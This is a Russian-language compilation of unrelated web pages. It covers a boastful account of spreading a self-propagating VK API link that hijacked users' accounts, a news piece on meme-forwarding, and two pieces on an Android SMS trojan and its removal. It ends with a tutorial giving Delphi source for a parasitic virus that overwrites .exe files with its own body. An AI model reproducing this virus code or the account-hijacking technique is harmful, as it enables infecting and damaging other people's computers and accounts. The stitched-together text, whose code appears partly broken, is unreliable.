Как послать вирус на чат
Позже, перед сном, ко мне забралась идея, как это сделать. Идея заключалась в вирусной ссылке, которую получат почти все пользователи сети.
Проснувшись утром и попив кофе, я начал реализовывать эту идею. Для многих уже давно не секрет, что для выполнения запросов от имени пользователя в VK API, нужно иметь его access_token. Но! На самом сайте этого ключа не требуется, чтобы просто протестировать. Перед началом создания этого Супер вируса, я хотел просто проверить его работоспособность.
Для теста и использовал метод friends.add и в поле user_id прописал свой id. Выполнив это действие, адресная строка изменится, на что-то вроде этого:
Эту ссылку я сократил через vk.cc и оставил в комментариях к двум популярным группам с заманчивым описанием. Через полчаса у меня уже было 100 подписчиков (было бы больше, но мой комментарий удалили, а меня забанили). После этого, я стал уверен, что это сработает и приступил к его созданию.
Вконтакте ограничивает доступ к API от одного IP интервалом в 5 секунд, чтобы сервер не перегружался. И для решения проблемы с частыми запросами они создали метод execute. Этот метод позволяет вызывать несколько методов одновременно с сохранением алгоритма, чем я и воспользовался.
На создание вируса у меня ушли примерно сутки, так как встретил пару преград. Об этом чуть позже. Вирус должен был работать так:
Получив ссылку, я радостно пошел протестировать на своем фейковом профиле. Но не тут-то было. Перейдя по ссылке, мне выдало ошибку 12: Синтаксическая ошибка. Не ожидалось символа &. Здесь и начались мои преграды.
Как оказалось, сервер для защиты от XML переводит все знаки. И знак двойных кавычек " просто переводился в & quotes; а консоль
выдавала ошибку. Одинарные кавычки не переводятся, но их он не примет, так как синтаксис от JSON.
Так как это моя первая попытка работы с уязвимостью (как и этот пост) на это у меня ушло чуть дольше времени. Первые пять часов ушли на то, чтобы понять, что ключи можно передавать и без кавычек, и цифры писать в кавычках тоже не обязательно. Т.е. можно так:
Для решения последней проблемы я подумал использовать регулярные выражения или что-то вроде, для замены числа 0 в строку. Сам я только начинающий web разработчик и не знал, как это делать, и задал вопрос на тостере. Получив два нужных мне ответа с разными путями решений, сразу же решил использовать их. И тут снова проблема…
ВКонтакте API — это не JavaScript и не поддерживает его функции вроде replace() или toString(). Да и вообще ничего не поддерживает из JS, кроме var, return, while, if, else, массивов и операторов сравнения.
Ушло очень много времени, пока я думал, как мне решить эту проблему. Стало поздно и я пошел спать. Перед сном, меня опять озарила грандиозная идея с решением этой проблемы.
Снова утро. Попив свою дозу утреннего кофе первым делом я приступил к продолжению своего вируса.
Решение было довольно простым. Ведь передавая числа или переменные из методов, необязательно писать их в кавычках.
Для меня понадобился мой фейковый профиль. Там я сделал два разных поста с такими текстами:
- Смотри /* ссылка */
- hints
Всё, что мне требовалось, это получить эти записи и записать в переменные, что я и сделал. В итоге у меня получился такой код:
Получив ссылку, я проверил его на работоспособность и — ура! Всё работало так, как нужно. С фейковой страницы был отправлен запрос на добавление в друзья и успешно переданы сообщения первым 7 друзьям из рейтинга. Сжав ссылку и поставив его на первый пост, я с довольной улыбкой готовился к Большому Буму!
Чтобы еще и знать, сколько людей перешло по ссылке, я сжал ссылку к php файлу на моем хостинге, который записывал посещение в БД, и переадресовывал к методу с кодом.
Решив посмотреть сколько все же набралось лично на странице, я зашел на сайт и вижу целых 3 новых подписчика! Не сказать, что я не был удивлен. Я ничего не понимал… В базе было более 5000 строк, где почти все имели индивидуальный IP, а подписчиков всего 3. Я начал думать, что я на самом деле не такой умный, кое себя считал 2 минут назад, и что от таких махинации у ВК уже есть защита. С такими мыслями я ушел грустить.
Прошло уже 2 дня. Перед тем, как идти спать, я решил проверить свой сайт. Заглянув в базу данных, и ради интереса посмотрел таблицу для записи статистики. Там уже набралось более 25 000 посещении по вирусной ссылке, а подписчиков стало меньше, т.к. отписались еще и те, которые для меня были тестом еще в начале.
Сразу скакнув из кровати, я решил исправить это быстро, чтобы к утру было уже более десяток тысяч подписчиков. После внесении изменении в php файле переадресации, я ушел спать с довольными мыслями завтрашнем дне.
Наступает утро и я проверяю свой профиль, даже не попив свой кофе. Ура! Подписчиков стало меньше…
Я снова был крайне удивлен. Всё же должно работать. На сей раз я решил проверить работоспособность ссылки на настоящем профиле. Удалив код, удаления сообщения, я перешел по сгенерированной ссылке. Оказывается эту уязвимость разработчики уже закрыли. Код в адресные строке по переходу уже не срабатывал
Я не знаю, как они сами до этого догадались. Я тут гений! То ли и до них дошло сообщение, то ли один из знакомых программистов втайне рассказал об уязвимости, чтобы там ни было я об этом никогда не узнаю.
Я всё равно был рад, так как я впервые смог найти уязвимость в большой сети. Может другим это обычное дело, но для меня это было чем-то особенным.
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.
Картинки, видео и подборки "бородатых" шуток, открытки-поздравления. Редкий человек не получал такие "бояны" (устаревшие, давно уже виденные примитивные "приколы") на праздники, в день рождения или просто так. Что это — переизбыток свободного времени? Желание показать, какой ты веселый и находчивый?
Психологи на одном из форума озадачились этим вопросом. Отмечается, что подобным рассыланием грешат прежде всего люди среднего возраста - за 35 лет или те, кому перевалило за полтинник.
Лидирует среди поводов отправить вам смайл или картинку — День рождения. Многие считают это своеобразным долгом. И, конечно же, стараются поразить адресата оригинальностью. На их взгляд на заключается в выборе смешной картинки, открытки, подборе музыки или видео "по теме".
Люди тратят на это время, лазают по интернету, ищут и потом всем нам приходят однотипные… как это называют в интернете — "бояны" — картинки, которые все давно видели.
Популярны и примитивные стихи-поздравления из серии "если ты не ненормальный, не болезный и не хам — значит, выпей за пехоту русской водки 200 грамм" и так далее. Однако есть и те, кто ежедневно шлет кучу "шуток и прибауток".
Потому мессенджер и переполнен пожеланиями "с добрым утром", "с пятницей", со всеми подряд религиозными и отраслевыми праздниками, а то и делать подборки шуток-анекдотов, картинок-мемов.
Специалисты полагают, что причина в такой массовой писание вполне банальная. Человек живет серой и занудной жизнью. Среди которых — домохозяйки без хобби, мужчины с малым достатком и скучной работой.
В общем, это людям, которым просто нечем заняться. Потому и шлют письма, пытаясь доказать самому себе, что ты не унылая серость, а вполне можешь поразить "оригинальностью" и "чувством юмора". Так ли это? Своим мнением с "Правдой.Ру" поделился кандидат психологических наук, психолог, писатель Юрий Левченко.
— На самом деле речь идет дани времени. В свое время зубами мясо рвали, потом ножом, а теперь — ножом и вилкой. Так же и в этой ситуации. Таки рассылки позволяют нам передать больше эмоций. Кроме того, не всегда удается поздравить друзей или родных лично.
Кроме того, поздравление или картинка останутся в памяти телефона или другого устройства. В любой момент можно все пересмотреть. как-то остается на стенке, как-то остается в виде какого-то, ну, картинки у вас в телефоне, и можно посмотреть еще раз.
Тоже самое касается и старшего поколения. Люди за 70-т также стали пользоваться "дарами" цивилизации. Они создают свои группы, друг другу пересылают какие-то оригинальные ролики и картинки. У них расширяется круг общения, ведь на завалинке перестали сидеть — стали сидеть в интернете.
И это важно, это хорошо. Так теперь и бабушки поздравляют своих внуков и родственников клипами и стихами, а не только подростки общаются в интернете.
— Не значит ли это, что в ближайшем будущем мы перестанем общаться вживую или звонить друг другу?
— Когда изобрели печатный станок, то многие испугались. А вдруг письма на берестяной грамоте писать не будут. Пишем же мы письма. Что касается встреч, то человеку необходима тактильность — прикосновение, рукопожатия и т. д. Как говорится — лечите душу ощущениями. А интернет не может помешать личному общению. Это же не алкоголизм.
Социофобы, которые боятся реальных встреч с людьми, начинают общаться в виде каких-то мессенджей, пересылок, и это помогает им расширить аудиторию.
Причем, не интернет их загнал в социофобию, а родители не давали возможности общаться и расширять круг общения — в детском садике, в школе и так далее. Это две вещи, которые идут параллельным курсом. Не надо думать, что интернет и мессенджеры чего-то нас лишают. Наоборот, они нам позволят реализоваться более широко.
Впрочем, есть и другое мнение. Так, в частности, любителей порассылать в мессенджерах вышеописанные "примитивности" обсуждали на одном из профессиональных психологических форумов.
"Диагноз - это когда люди начинают ежедневно поздравлять "с добрым утром" вот этими отмороженными картинками (чаще всего, известными уже много лет), "с пятницей", со всеми подряд религиозными и отраслевыми праздниками, а то и делать подборки шуток-анекдотов, картинок-мемов со смешными (как им кажется) фразами и ситуациями",- пишут в дискуссии.
"Такое чаще всего, происходит у живущих серой и занудной жизнью - короче, людям, которым откровенно нечем заняться. И - да, я знаю, что не нужно путать деловитую домохозяйку с ленивая толстушкой в засаленном халате. Которая живет (или мучается) с пивопузым мужем, ребенком-сорванцом, душащими кредитами и занудной жизнью семьи "дом-школа-работа-магазин-подруги-друзья-пивко-телевизор-интернет-а вот и выходные с водочкой или на даче",- добавляют они.
"Заняться нечем, рассказывать всем подряд, что ты не унылая серость - не станешь, вот и хочется выделиться, поразить своей "оригинальностью", "чувством юмора" и умением найти в интернете. Причем пожилое поколение, кстати, что-то шлет искренне, от души, они сами натыкаются на это и делятся эмоциями. А помоложе - просто пытаются, как им кажется, поразить других искрометностью",- считают участники форума.
Также они поясняют, почему молодежь к этому относится с раздражением - "Для них это - "петросянство". Все равно, что сейчас рассказывать анекдоты про Горбачева или Брежнева".
"С другой стороны, а кто сказал "как правильно" или "как неправильно"? В голове у человека есть какое-то понимание "как правильно", и все, что с этим не совпадает, - вносит глубокий дискомфорт в его жизнь. При том, что окружающие люди не живут по этим правилам в голове у другого человека и делятся эмоциями, поздравляют как умеют",- пишут эксперты.
Напомним, что ранее СМИ уже писали о распространявшихся в WhatsApp, Viber, ВКонтакте, Одноклассниках паник-слухах.
В частности, соцсети и мессенджеры захлестывали "волны" панических предупреждений то о 18 террористах, то о готовящемся теракте в метро, то о жвачке с наркотиками у школ, то о педофилах, то о "удалении детских органов", то о пакетиках с порошком и якобы Кораном. Были и экономические "страшилки" - о скорой девальвации, дефолте и даже "точно-точно сказали банкиры, что Visa отключит Россию, бегите снимать деньги".
Отметим, что некоторые распространители таких слухов (даже несмотря на то, что они сами поверили и решили "предупредить" знакомых были задержаны спецслужбами.
Добавим, что грамотные и взрослые пользователи соцсетей и мессенджеров уже сформулировали свое отношение к так называемым "письмам счастья" (с призывом переслать такое же письмо 5-10-25 людям) и вечным слухам "если вы разошлете это сообщение, то WhatsApp останется бесплатным и его зеленый логотип поменяется".
"Это полный бред, трата времени и показатель, что человек - доверчивый дурак, бездельник или человек, умышленно издевающийся над недалекими малообразованными людьми, подростками-детьми или просто провинциалами",- писали они.
Пользователи не всегда могут распознать вирус в своем мобильнике и соответственно не получается стереть зловредную программу или предпринять какие-то действия раньше, чем вирус получит доступ к персональным данным.
p, blockquote 1,0,0,0,0 -->
На данный момент самыми уязвимыми считаются Android-смартфоны. Появился новый вирус через смс на Андроид.
p, blockquote 2,0,0,0,0 -->
p, blockquote 3,0,0,0,0 -->
В смартфонах с открытым кодом, каковой собственно и является операционная система Андроид, новые вирусы распространяются с невероятной быстротой.
p, blockquote 4,0,0,0,0 -->
p, blockquote 5,0,0,0,0 -->
Как действуют мошенники
Первый подобный вирус активизировался в начале лета 2017 г. Опасность в том, что троянец функционирует в Android-смартфоне удаленно.
p, blockquote 6,0,1,0,0 -->
Злоумышленники отправляют SMS на нужный номер, поэтому чтобы идентифицировать наличие этого вируса в своем мобильном гаджете владельцы смартфонов должны обратить внимание на рост количества SMS-сообщений ценой по 100 рублей. В результате с мобильного счета хозяина смартфона снимается сумма, кратная 100.
p, blockquote 7,0,0,0,0 -->
Чтобы существенно заработать, злоумышленник вынужден отправлять несколько SMS-троянцев с номера своей жертвы. Ведь в этой мошеннической цепочке работает не только он один.
p, blockquote 8,0,0,0,0 -->
p, blockquote 9,0,0,0,0 -->
Посредниками в данной схеме могут выступать оператор связи, провайдер и другие партнеры, которые могут и не знать о проделках мошенников. Чтобы покрыть все расходы и заработать, злоумышленнику необходимо снять с каждого номера не менее 1000 рублей.
p, blockquote 10,0,0,0,0 -->
При этом нельзя исключить возможность, что владельцы смартфонов могут пожаловаться своему оператору на кражу денег. И тогда сотовые операторы предпринимают ответные меры, мешающие совершать махинации. Например, они могут ввести обязательный ввод дополнительных подтверждений перед списанием денег и тому подобное. В такой ситуации злоумышленники вынуждены искать новые способы мошенничества.
p, blockquote 11,0,0,0,0 -->
Благодаря этим факторам появился еще один троянец. Этот представитель Trojan-SMS также выполняет поступающие с удаленного сервера команды.
p, blockquote 12,0,0,0,0 -->
Новый вирус является более гибким и отлично ориентируется в любых условиях уже с учетом барьеров сотового оператора, и даже состояния счета абонента и времени совершения операций.
p, blockquote 13,1,0,0,0 -->
Как функционирует вирус
p, blockquote 14,0,0,0,0 -->
Новый вирус является спящим – он не обладает самостоятельностью. Даже попав в смартфон, он не проявляется никак. Чтобы он заработал, требуется удаленная команда хозяина телефона.
p, blockquote 15,0,0,0,0 -->
Для этого используется так называемый POST запрос. Он предназначен для запроса, при котором веб-сервер принимает для хранения данные, заключённые в тело сообщения. Он часто используется, например, для загрузки файла.
p, blockquote 16,0,0,0,0 -->
Использование запроса POST позволяет установить связь с удаленным сервером и получить соответствующую команду, получив которую, троянец начинает отправлять с номеров своих жертв дорогостоящие SMS-сообщения на номер мошенников.
p, blockquote 17,0,0,0,0 -->
Отправляя смс-сообщение c короткого номера, мошенники таким образом могут проверить, есть ли на номере жертвы привязка к счету в банке и какое там состояние счета.
p, blockquote 19,0,0,1,0 -->
p, blockquote 20,0,0,0,0 -->
p, blockquote 21,0,0,0,0 -->
p, blockquote 22,0,0,0,0 -->
p, blockquote 23,0,0,0,0 -->
p, blockquote 24,0,0,0,0 -->
p, blockquote 25,0,0,0,0 --> p, blockquote 26,0,0,0,1 -->
(Просто перенёс в блог…)
В свете последней эпидемии мобильных вирусов, атакующих смартфоны на Android…
И так, внимайте те, кто безалаберно отнёсся к безопасности и получив сообщение (пусть даже и от знакомого номера — а именно ТАК! действует вирус, рассылает сообщения по всей контактной книжке) и таки ткнул! в ссылку.
И не важно, что там в тексте — "посмотри как мы классно выглядим", "штраф! оплатите своевременно!", "судебное решение", "вы продаёте?", "получи скидку!" и т.д.
Всё это — социальная инженерия! Попытка заинтересовать, отвлечь, запудрить мозги и добиться ОДНОГО — ЗАСТАВИТЬ НАЖАТЬ НА ССЫЛКУ! Это ПЕРВЫЙ рубеж.
Но ткнуть в ссылку МАЛО! Нужен подключенный интернет — мобильный или wifi, не важно. Скачивается файл.
И тут у вас есть шанс! Файл, хоть и называется что-то типа photo_3802, но имеет расширение APK! а совсем не JPG! Это ВТОРОЙ рубеж.
Т.е. это не картинка, а ПРИЛОЖЕНИЕ! Программа, если так понятней. И она попросится УСТАНОВИТЬСЯ!
Это ТРЕТИЙ рубеж! Потому что в политике безопасности по умолчанию стоит запрет на установку приложений из неизвестных источников. И при попытке установки приложения слитого не через Play Market система ругнётся и скажет, что это запрещено! Ноооо. если хооочешь… ;) то можно разрешить! Это ЧЕТВЁРТЫЙ рубеж.
Ведь у некоторых "галочка" уже стоит — ставили репаки программ или игрушки сломанные и забыли отключить.
А антивирус — не установлен. ИИИИИИИ! БАХ! Вирус уже в системе!
Всё это предистория… я объяснил КАК ПОПАДАЕТ вирус. Теперь попробуем его прибить
Что же получится, если вирус запустится?
Неееее! Не САМ! Это ВЫ! его САМОСТОЯТЕЛЬНО ЗАПУСТИЛИ! Да-да-да! Винить, кроме собственной глупости некого.
Перестают открываться настройки, выпрыгивает какое-нибудь сообщение, мешающее нажимать иконки на экране… к счёту вдруг оказываются приписаны платные услуги и деньги стремительно улетают в неизвестном направлении! под раздачу могут попасть и банковские карты! Вообщем всё зависит от версии вируса. Последний, который попался — работал даже в "безопасном режиме"!
Ну а теперь будет ЛЕЧИТЬ! Если есть wi-fi — симку лучше вынуть.
У Samsung-ов, например, что бы запустить смартфон в безопасном режиме нужно при загрузке удерживать кнопку "Vol-" (громкость минус) — на экране должна появиться надпись "безопасный режим". Это практически как в Windows — загрузка системы с использованием минимума драйверов и отключением программ из автозагрузки.
Для других моделей смартфонов ищем информацию в интернете. Иногда этого бывает достаточно, что бы зайти в настройки/диспетчер приложений и удалить "незванного гостя". Назывался он что-то типа "ММС сообщение", "ММС послание"… но могут быть и другие названия. Вся прелесть задумки автора вируса в том, что он не лезет глубоко в систему, не получает root-доступ, а ставится на уровне приложений пользователя! Поэтому работает без проблем на версиях Android от 5 до 8. (из тех, что попадались МНЕ)
Но этот момент нам и поможет! Пытаемся загрузиться в безопасном режиме — быстро лезем в настройки, приложения и ищем упомянутое название среди приложений пользователя. Тыкаем в него в списке, УДАЛИТЬ, ОК!
Как ни странно — чем тормознее смартфон, тем больше шансов успеть!
Антивирусы "газись" скачивать даёт, но запуск глушит. Особо не дёргаемся по этому поводу.
Новый вирь кусается! Да-да! гадёныш… Он умудряется грузиться даже в безопасном режиме!
И при попытке удалить приложение вылетает сообщение, которое перекрывает нужные кнопки. Пытаемся его согнать, вызывая список запущенных приложений и прибивая приложение с сообщением.
Конечная цель — удалить приложение, которое мешается! Получилось? Отлично!
Что? Не получилось? Окошко опять появляется быстрее, чем вы успеваете нажать кнопку "удалить"?
Рррррр! Переходим к новой фазе! В настройки попасть не получается
Вирусу, что бы жить и пакостить нужОн интернет. Поэтому он мобильный интернет и через wifi НЕ ОТРУБАЕТ.
Видел версию, которая мешала вводить пароль к wifI, но даже там удалось его набрать, чуть помаявшить.
Т.е. у смартфона есть интернет! Заходим в Play Market и ищем приложение по строчке "systemapp remover"
Самое первое в выдаче наверняка будет "менеджер приложений (ROOT)" от Jumobile. Его и ставим.
По умолчанию оно открывает именно список системных приложений. В левом верхнем углу жмём стрелку "назад", выбирает "приложения пользователя" и ищем "газись". Есть возможность отсортировать по дате установки приложения. Тоже будет подспорьем в поиске "новоприбывшего".
Ставим галочку справа от названия и жмём кнопку "удалить" слева внизу. И тут начинается игра "чьё кунг-фу быстрее". Не шучу! Вирус продолжает противодействовать и пытается быстро закрыть сообщение о подтверждении удаления!
Напоминаю, конечная задача — прибить "незванного гостя"!
"Ловкость рук и никакого мошенства!" (с) Акопян
Финальная фаза: вирус удалён из приложений (иногда их может быть НЕСКОЛЬКО), смарт перезагружен и перестал рассылать "газись" по абонентам и жрать деньги со счёта.
Устанавливаем антивирус. Из моего личного опыта хорошо справляется с ЛЕЧЕНИЕМ и установкой новых вирусов бесплатный "Drweb Lite".
Проводим полное сканирование и прибиваем найденные apk-шки с вирусом, если сохранились. Отключаем в настройках безопасности "устанавливать неподписанные приложения". Выдыхаем.
Если вирь успел подключить платные подписки — звоним и ругаемся с операторами техподдержки мобильного провайдера или лезем проверять в личный кабинет через интернет.
Отмечу особо: антивирь — это НЕ ПА-НА-ЦЕ-Я! ЛЮБОЙ! Хоть платный, хоть бесплатный! Касается любых систем и любых антивирусов.
Автору вируса — спасибо за пополнение бюджета и наработку опыта. Доработка вируса в плане блокировки сторонних диспетчеров приложений ничего не даст — их можно наклепать без счёта. или убить приложение через терминал ADB.
Поймавшим вирус — включайте голову или пользуйте Nokia 3310! Да, я про тот старый "кирпич", а не про новую цветную "погремушку"
С уточняющими вопросами — в комментарии. :) Чем смогу… Коррекция по тексту — принимается.
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.
Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;
//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile
Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла
BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл
SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле
CloseFile - _lclose и CloseHandle - закрывает открытый
файл
Erase - DeleteFile - удаление файла
FindFirst - FindFirstFile - поиск файла по критериям
FindNext - FindNextFile - поиск следующего файла
Читайте также: